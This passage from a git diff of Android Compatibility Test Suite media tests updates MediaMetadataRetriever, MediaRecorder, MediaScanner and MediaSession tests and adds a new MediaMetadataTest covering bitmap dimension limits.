+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
         mediaItem.writeToParcel(p, 0);
         p.setDataPosition(0);
-        assertEquals(mediaItem.getFlags(), p.readInt());
-        assertEquals(description.toString(),
-                MediaDescription.CREATOR.createFromParcel(p).toString());
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
         p.recycle();
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 7b25b26..eec8a31 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -21,12 +21,14 @@
 import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
 import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.Color;
 import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
 import android.media.MediaDataSource;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
@@ -41,6 +43,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import android.view.Display;
 
 import androidx.test.filters.SmallTest;
 
@@ -642,12 +645,32 @@
     public void testThumbnailVP9Hdr() {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
 
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
         testThumbnail("video_1280x720_vp9_hdr_static_3mbps.mkv", 1280, 720);
     }
 
     public void testThumbnailAV1Hdr() {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
 
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
         testThumbnail("video_1280x720_av1_hdr_static_3mbps.webm", 1280, 720);
     }
 
@@ -1038,10 +1061,20 @@
             return;
         }
 
-        testGetImage("heifwriter_input.heic", 1920, 1080, 0 /*rotation*/,
+        testGetImage("heifwriter_input.heic", 1920, 1080, "image/heif", 0 /*rotation*/,
                 4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
 
+    public void testGetImageAtIndexAvif() throws Exception {
+        testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
+    }
+
+    public void testGetImageAtIndexAvifGrid() throws Exception {
+        testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+    }
+
     /**
      * Determines if two color values are approximately equal.
      */
@@ -1065,7 +1098,7 @@
     }
 
     private void testGetImage(
-            final String res, int width, int height, int rotation,
+            final String res, int width, int height, String mimeType, int rotation,
             int imageCount, int primary, boolean useGrid, boolean checkColor)
                     throws Exception {
         Stopwatch timer = new Stopwatch();
@@ -1095,6 +1128,8 @@
             assertEquals("Wrong primary index", primary,
                     Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
+            assertEquals("Wrong mime type", mimeType,
+                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
 
             if (checkColor) {
                 Bitmap bitmap = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
new file mode 100644
index 0000000..0483c9d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.media.MediaMetadata;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link MediaMetadata}.
+ */
+// TODO(b/168668505): Add tests for other methods.
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+@NonMediaMainlineTest
+public class MediaMetadataTest {
+
+    @Test
+    public void getBitmapDimensionLimit_returnsIntegerMaxWhenNotSet() {
+        MediaMetadata metadata = new MediaMetadata.Builder().build();
+        assertEquals(Integer.MAX_VALUE, metadata.getBitmapDimensionLimit());
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreScaledDown() {
+        // A large bitmap (64MB).
+        final int originalWidth = 4096;
+        final int originalHeight = 4096;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        final int testBitmapDimensionLimit = 16;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap scaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(scaledDownBitmap);
+        assertTrue(scaledDownBitmap.getWidth() <= testBitmapDimensionLimit);
+        assertTrue(scaledDownBitmap.getHeight() <= testBitmapDimensionLimit);
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreNotScaledDown() {
+        // A small bitmap.
+        final int originalWidth = 16;
+        final int originalHeight = 16;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        // The limit is larger than the width/height.
+        final int testBitmapDimensionLimit = 256;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap notScaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(notScaledDownBitmap);
+        assertEquals(originalWidth, notScaledDownBitmap.getWidth());
+        assertEquals(originalHeight, notScaledDownBitmap.getHeight());
+    }
+
+    @Test
+    public void builder_setMaxBitmapDimensionLimit_unsetLimit() {
+        final int testBitmapDimensionLimit = 256;
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        // Using copy constructor, unset the limit by passing zero to the limit.
+        MediaMetadata copiedMetadataWithLimitUnset = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(Integer.MAX_VALUE)
+                .build();
+        assertEquals(Integer.MAX_VALUE, copiedMetadataWithLimitUnset.getBitmapDimensionLimit());
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 905cb60..4312ffa 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -577,10 +577,26 @@
             MediaUtils.skipTest("no camera");
             return;
         }
+
+        int width;
+        int height;
+
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
         mMediaRecorder.setOutputFile(mOutFile);
         long maxFileSize = MAX_FILE_SIZE * 10;
         recordMedia(maxFileSize, mOutFile);
@@ -993,6 +1009,8 @@
         }
         long fileSize = 128 * 1024;
         long tolerance = 50 * 1024;
+        int width;
+        int height;
         List<String> recordFileList = new ArrayList<String>();
         mFileIndex = 0;
 
@@ -1098,7 +1116,18 @@
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
         mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
         mMediaRecorder.setVideoEncodingBitRate(256000);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
         mMediaRecorder.setMaxFileSize(fileSize);
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
 
         Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
         PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
         userRoute.setRemoteControlClient(rcc);
         assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 1387493..9721179 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -26,6 +26,7 @@
 import android.media.MediaScannerConnection;
 import android.media.MediaScannerConnection.MediaScannerConnectionClient;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
@@ -41,6 +42,7 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.FileCopyHelper;
 import com.android.compatibility.common.util.PollingCheck;
 
@@ -51,6 +53,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Method;
 import java.nio.charset.StandardCharsets;
 
 @Presubmit
@@ -635,16 +638,30 @@
         }
     }
 
-    public static void startMediaScan() {
-        new Thread(() -> {
+    private static void scanVolume() {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
             MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
                     MediaStore.VOLUME_EXTERNAL_PRIMARY);
-        }).start();
+        } else {
+            // on Q, scanVolume(Context, String path) should be used
+            try {
+                Method scanVolumeMethod = MediaStore.class
+                    .getMethod("scanVolume", Context.class, File.class);
+                scanVolumeMethod.invoke(null,
+                        InstrumentationRegistry.getTargetContext(),
+                        Environment.getExternalStorageDirectory());
+            } catch (Exception ex) {
+                fail("could not find scanVolume method" + ex);
+            }
+        }
+    }
+
+    public static void startMediaScan() {
+        new Thread(() -> { scanVolume(); }).start();
     }
 
     public static void startMediaScanAndWait() {
-        MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
-                MediaStore.VOLUME_EXTERNAL_PRIMARY);
+        scanVolume();
     }
 
     private void checkMediaScannerConnection() {
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
     public void testBuilder_setSessionActivity() {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
-                mContext, 0 /* requestCode */, intent, 0 /* flags */);
+                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         try (MediaSession2 session = new MediaSession2.Builder(mContext)
                 .setSessionActivity(pendingIntent)
                 .build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index fb88d00..2a0e84f 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -79,8 +79,8 @@
     public void testAddOnActiveSessionsListener() throws Exception {
         try {
             mSessionManager.addOnActiveSessionsChangedListener(null, null);
-            fail("Expected IAE for call to addOnActiveSessionsChangedListener");
-        } catch (IllegalArgumentException e) {
+            fail("Expected NPE for call to addOnActiveSessionsChangedListener");
+        } catch (NullPointerException e) {
             // Expected
         }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 5cf1d3b..37b936d 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -16,6 +16,14 @@
 package android.media.cts;
 
 import static android.media.AudioAttributes.USAGE_GAME;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_QUEUE_SIZE;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.cts.MediaSessionTestService.KEY_SESSION_TOKEN;
+import static android.media.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
+import static android.media.cts.MediaSessionTestService.TEST_SERIES_OF_SET_QUEUE;
+import static android.media.cts.MediaSessionTestService.TEST_SET_QUEUE_WITH_LARGE_NUMBER_OF_ITEMS;
 import static android.media.cts.Utils.compareRemoteUserInfo;
 
 import android.app.PendingIntent;
@@ -88,7 +96,10 @@
     @Override
     protected void tearDown() throws Exception {
         // It is OK to call release() twice.
-        mSession.release();
+        if (mSession != null) {
+            mSession.release();
+            mSession = null;
+        }
         super.tearDown();
     }
 
@@ -106,6 +117,24 @@
         verifyNewSession(controller);
     }
 
+    public void testSessionTokenEquals() {
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            MediaSession.Token sessionToken = mSession.getSessionToken();
+            MediaSession.Token anotherSessionToken = anotherSession.getSessionToken();
+
+            assertTrue(sessionToken.equals(sessionToken));
+            assertFalse(sessionToken.equals(null));
+            assertFalse(sessionToken.equals(mSession));
+            assertFalse(sessionToken.equals(anotherSessionToken));
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+            }
+        }
+    }
+
     /**
      * Tests MediaSession.Token created in the constructor of MediaSession.
      */
@@ -119,9 +148,17 @@
         Parcel p = Parcel.obtain();
         sessionToken.writeToParcel(p, 0);
         p.setDataPosition(0);
-        MediaSession.Token token = MediaSession.Token.CREATOR.createFromParcel(p);
-        assertEquals(token, sessionToken);
+        MediaSession.Token tokenFromParcel = MediaSession.Token.CREATOR.createFromParcel(p);
+        assertEquals(tokenFromParcel, sessionToken);
         p.recycle();
+
+        final int arraySize = 5;
+        MediaSession.Token[] tokenArray = MediaSession.Token.CREATOR.newArray(arraySize);
+        assertNotNull(tokenArray);
+        assertEquals(arraySize, tokenArray.length);
+        for (MediaSession.Token tokenElement : tokenArray) {
+            assertNull(tokenElement);
+        }
     }
 
     /**
@@ -237,7 +274,7 @@
 
             // test setSessionActivity
             Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
-            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
             mSession.setSessionActivity(pi);
             assertEquals(pi, controller.getSessionActivity());
 
@@ -267,17 +304,19 @@
     }
 
     /**
-     * Test whether media button receiver can be a explicit broadcast receiver.
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonReceiver(PendingIntent).
      */
     public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
-        Intent intent = new Intent(mContext.getApplicationContext(), MediaButtonReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonBroadcastReceiver.class);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
 
-        // Sets the media button receiver. Framework would try to keep the pending intent in the
-        // persistent store.
+        // Sets the media button receiver. Framework will keep the broadcast receiver component name
+        // from the pending intent in persistent storage.
         mSession.setMediaButtonReceiver(pi);
 
         // Call explicit release, so change in the media key event session can be notified with the
@@ -287,7 +326,7 @@
         int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
         try {
             CountDownLatch latch = new CountDownLatch(2);
-            MediaButtonReceiver.setCallback((keyEvent) -> {
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
                 assertEquals(keyCode, keyEvent.getKeyCode());
                 switch ((int) latch.getCount()) {
                     case 2:
@@ -305,18 +344,17 @@
 
             assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
         } finally {
-            MediaButtonReceiver.setCallback(null);
+            MediaButtonBroadcastReceiver.setCallback(null);
         }
     }
 
     /**
-     * Test whether system doesn't crash by
-     * {@link MediaSession#setMediaButtonReceiver(PendingIntent)} with implicit intent.
+     * Test whether media button receiver can be a explicit service.
      */
-    public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
-        // Note: No such broadcast receiver exists.
-        Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+    public void testSetMediaButtonReceiver_service() throws Exception {
+        Intent intent = new Intent(mContext.getApplicationContext(),
+                MediaButtonReceiverService.class);
+        PendingIntent pi = PendingIntent.getService(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -329,9 +367,93 @@
         // pending intent.
         mSession.release();
 
-        // Also try to dispatch media key event. System would try to send key event via pending
-        // intent, but it would no-op because there's no receiver.
-        simulateMediaKeyInput(KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE);
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonReceiverService.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonReceiverService.setCallback(null);
+        }
+    }
+
+    /**
+     * Test whether {@link IllegalArgumentException} is thrown when calling
+     * {@link MediaSession#setMediaButtonReceiver(PendingIntent)} with implicit intent.
+     */
+    public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
+        // Note: No such broadcast receiver exists.
+        Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
+
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the media button receiver. Framework won't save this since it is an invalid implicit
+        // intent and throw an IAE instead.
+        try {
+            mSession.setMediaButtonReceiver(pi);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Test whether media button receiver can be a explicit broadcast receiver via
+     * MediaSession.setMediaButtonBroadcastReceiver(ComponentName)
+     */
+    public void testSetMediaButtonBroadcastReceiver_broadcastReceiver() throws Exception {
+        // Play a sound so this session can get the priority.
+        Utils.assertMediaPlaybackStarted(getContext());
+
+        // Sets the broadcast receiver's component name. Framework will keep the component name in
+        // persistent storage.
+        mSession.setMediaButtonBroadcastReceiver(new ComponentName(mContext,
+                MediaButtonBroadcastReceiver.class));
+
+        // Call explicit release, so change in the media key event session can be notified using the
+        // component name.
+        mSession.release();
+
+        int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        try {
+            CountDownLatch latch = new CountDownLatch(2);
+            MediaButtonBroadcastReceiver.setCallback((keyEvent) -> {
+                assertEquals(keyCode, keyEvent.getKeyCode());
+                switch ((int) latch.getCount()) {
+                    case 2:
+                        assertEquals(KeyEvent.ACTION_DOWN, keyEvent.getAction());
+                        break;
+                    case 1:
+                        assertEquals(KeyEvent.ACTION_UP, keyEvent.getAction());
+                        break;
+                }
+                latch.countDown();
+            });
+            // Also try to dispatch media key event.
+            // System would try to dispatch event.
+            simulateMediaKeyInput(keyCode);
+
+            assertTrue(latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            MediaButtonBroadcastReceiver.setCallback(null);
+        }
     }
 
     /**
@@ -418,11 +540,6 @@
         mSession.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS);
         mSession.setActive(true);
 
-        Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
-                new ComponentName(getContext(), getContext().getClass()));
-        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
-        mSession.setMediaButtonReceiver(pi);
-
         // Set state to STATE_PLAYING to get higher priority.
         setPlaybackState(PlaybackState.STATE_PLAYING);
 
@@ -568,15 +685,23 @@
         // Start a media playback for this app to receive media key events.
         Utils.assertMediaPlaybackStarted(getContext());
 
-        MediaSession anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        mSession.release();
-        anotherSession.release();
+        MediaSession anotherSession = null;
+        try {
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            mSession.release();
+            anotherSession.release();
 
-        // Try release with the different order.
-        mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
-        anotherSession.release();
-        mSession.release();
+            // Try release with the different order.
+            mSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession = new MediaSession(getContext(), TEST_SESSION_TAG);
+            anotherSession.release();
+            mSession.release();
+        } finally {
+            if (anotherSession != null) {
+                anotherSession.release();
+                anotherSession = null;
+            }
+        }
     }
 
     // This uses public APIs to dispatch key events, so sessions would consider this as
@@ -597,22 +722,20 @@
                 .setMediaId("media-id")
                 .setTitle("title");
 
+        try {
+            new QueueItem(/*description=*/null, TEST_QUEUE_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+        try {
+            new QueueItem(descriptionBuilder.build(), QueueItem.UNKNOWN_ID);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
         QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertEquals(TEST_QUEUE_ID, item.getQueueId());
-        assertEquals("media-id", item.getDescription().getMediaId());
-        assertEquals("title", item.getDescription().getTitle());
-        assertEquals(0, item.describeContents());
-
-        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
-        assertTrue(item.equals(sameItem));
-
-        QueueItem differentQueueId = new QueueItem(
-            descriptionBuilder.build(), TEST_QUEUE_ID + 1);
-        assertFalse(item.equals(differentQueueId));
-
-        QueueItem differentDescription = new QueueItem(
-            descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
-        assertFalse(item.equals(differentDescription));
 
         Parcel p = Parcel.obtain();
         item.writeToParcel(p, 0);
@@ -620,6 +743,40 @@
         QueueItem other = QueueItem.CREATOR.createFromParcel(p);
         assertEquals(item.toString(), other.toString());
         p.recycle();
+
+        final int arraySize = 5;
+        QueueItem[] queueItemArray = QueueItem.CREATOR.newArray(arraySize);
+        assertNotNull(queueItemArray);
+        assertEquals(arraySize, queueItemArray.length);
+        for (QueueItem elem : queueItemArray) {
+            assertNull(elem);
+        }
+    }
+
+    public void testQueueItemEquals() {
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertEquals(TEST_QUEUE_ID, item.getQueueId());
+        assertEquals("media-id", item.getDescription().getMediaId());
+        assertEquals("title", item.getDescription().getTitle());
+        assertEquals(0, item.describeContents());
+
+        assertFalse(item.equals(null));
+        assertFalse(item.equals(descriptionBuilder.build()));
+
+        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertTrue(item.equals(sameItem));
+
+        QueueItem differentQueueId = new QueueItem(
+                descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+        assertFalse(item.equals(differentQueueId));
+
+        QueueItem differentDescription = new QueueItem(
+                descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+        assertFalse(item.equals(differentDescription));
     }
 
     public void testSessionInfoWithFrameworkParcelable() {
@@ -652,12 +809,17 @@
         Bundle sessionInfo = new Bundle();
         sessionInfo.putParcelable(testKey, customParcelable);
 
+        MediaSession session = null;
         try {
-            MediaSession session = new MediaSession(
+            session = new MediaSession(
                     mContext, "testSessionInfoWithCustomParcelable", sessionInfo);
             fail("Custom Parcelable shouldn't be accepted!");
         } catch (IllegalArgumentException e) {
             // Expected
+        } finally {
+            if (session != null) {
+                session.release();
+            }
         }
     }
 
@@ -686,10 +848,11 @@
      * does not decrement current session count multiple times.
      */
     public void testSessionCreationLimitWithMediaSessionRelease() {
-        MediaSession sessionToReleaseMultipleTimes = new MediaSession(
-                mContext, "testSessionCreationLimitWithMediaSessionRelease");
         List<MediaSession> sessions = new ArrayList<>();
+        MediaSession sessionToReleaseMultipleTimes = null;
         try {
+            sessionToReleaseMultipleTimes = new MediaSession(
+                    mContext, "testSessionCreationLimitWithMediaSessionRelease");
             for (int i = 0; i < TEST_TOO_MANY_SESSION_COUNT; i++) {
                 sessions.add(new MediaSession(
                         mContext, "testSessionCreationLimitWithMediaSessionRelease"));
@@ -703,6 +866,9 @@
             for (MediaSession session : sessions) {
                 session.release();
             }
+            if (sessionToReleaseMultipleTimes != null) {
+                sessionToReleaseMultipleTimes.release();
+            }
         }
     }
 
@@ -716,8 +882,9 @@
                 sessions.add(new MediaSession(
                         mContext, "testSessionCreationLimitWithMediaSession2Release"));
 
-                MediaSession2 session2 = new MediaSession2.Builder(mContext).build();
-                session2.close();
+                try (MediaSession2 session2 = new MediaSession2.Builder(mContext).build()) {
+                    // Do nothing
+                }
             }
             fail("The number of session should be limited!");
         } catch (RuntimeException e) {
@@ -730,6 +897,55 @@
     }
 
     /**
+     * Check that a series of {@link MediaSession#setQueue} does not break {@link MediaController}
+     * on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfSetQueue() throws Exception {
+        int numberOfCalls = 100;
+        int queueSize = 1_000;
